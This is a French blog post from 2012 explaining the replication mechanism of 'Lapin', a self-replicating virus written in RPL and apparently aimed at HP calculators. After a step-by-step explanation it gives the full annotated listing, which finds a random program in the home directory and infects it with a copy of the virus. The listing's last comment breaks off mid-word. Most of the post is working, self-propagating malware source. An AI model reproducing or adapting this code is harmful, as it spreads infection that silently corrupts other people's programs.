lundi 27 août 2012

Processus de reproduction d'un virus informatique




Un programme infecté par lapin a la structure suivante :

« Programme_hôte_en_rpl      ‘Nom_du_programme_hôte’       virus_en_rpl   »

(les signes « et » sont les prologues de début et de fin d’un programme en RPL).
A chaque appel d’un programme infecté, le programme est d’abord exécuté, puis le nom ‘Nom_du_prgramme_hôte’ est mis sur la pile. Le virus recherche alors le contenu du programme portant ce nom et en extrait le code viral, en le transformant en chaîne de caractères et en en prélevant la partie virale. Ces opérations sont effectuées en début du virus, par la séquence :

‘Nom_du_programme_hôte’ rcl ->str dup size dup 282 - swap sub  

On obtient alors au premier niveau de la pile une chaîne de caractères contenant le virus, qu’il suffira de coller à celle d’un programme sain, moyennant quelques aménagements syntaxiques, pour obtenir un programme infecté.
Si on trouve un programme à infecter, on le transforme donc en chaîne de caractères que l’on soude à celle du virus, en prenant soin d’inclure le ‘Nom_du_programme_hôte’ dans la nouvelle copie :

dup rot + « ‘ » swap + over rcl ->str dup size 1 swap 1 - sub swap +

Puis on transforme la chaîne de caractères décrivant le nouveau programme infecté en objet programme exécutable, que l’on enregistre à la place de l’ancien :

obj-> swap sto









1.3.         Listing complet

Voici le listing complet du virus, baptisé ‘Lapin’ et écrit en RPL, qui fait 210.5 octets :

«   ‘Lapin’ rcl ->str dup size dup 282 - swap sub  
                               (Recopie le code du virus sur la pile)

path dup head eval swap
                               (Se place dans le répertoire maître)

while          
vars dup size rand * ceil get dup vtype 15 + ==
repeat
                   dup eval swap +
end                         (Boucle Tant Que / Fait de recherche d’un objet à infecter)


if    
dup vtype 8 ==           (est-ce un programme ?)
then
dup rot + « ‘ » swap + over rcl ->str dup size 1 swap 1 - sub swap + obj-> swap sto      (Si oui, il est infecté)
else
                   drop2              (Si non, nettoyage de la pile)
end


eval  »                 (Retour au répertoire d’orig

Aucun commentaire:

Enregistrer un commentaire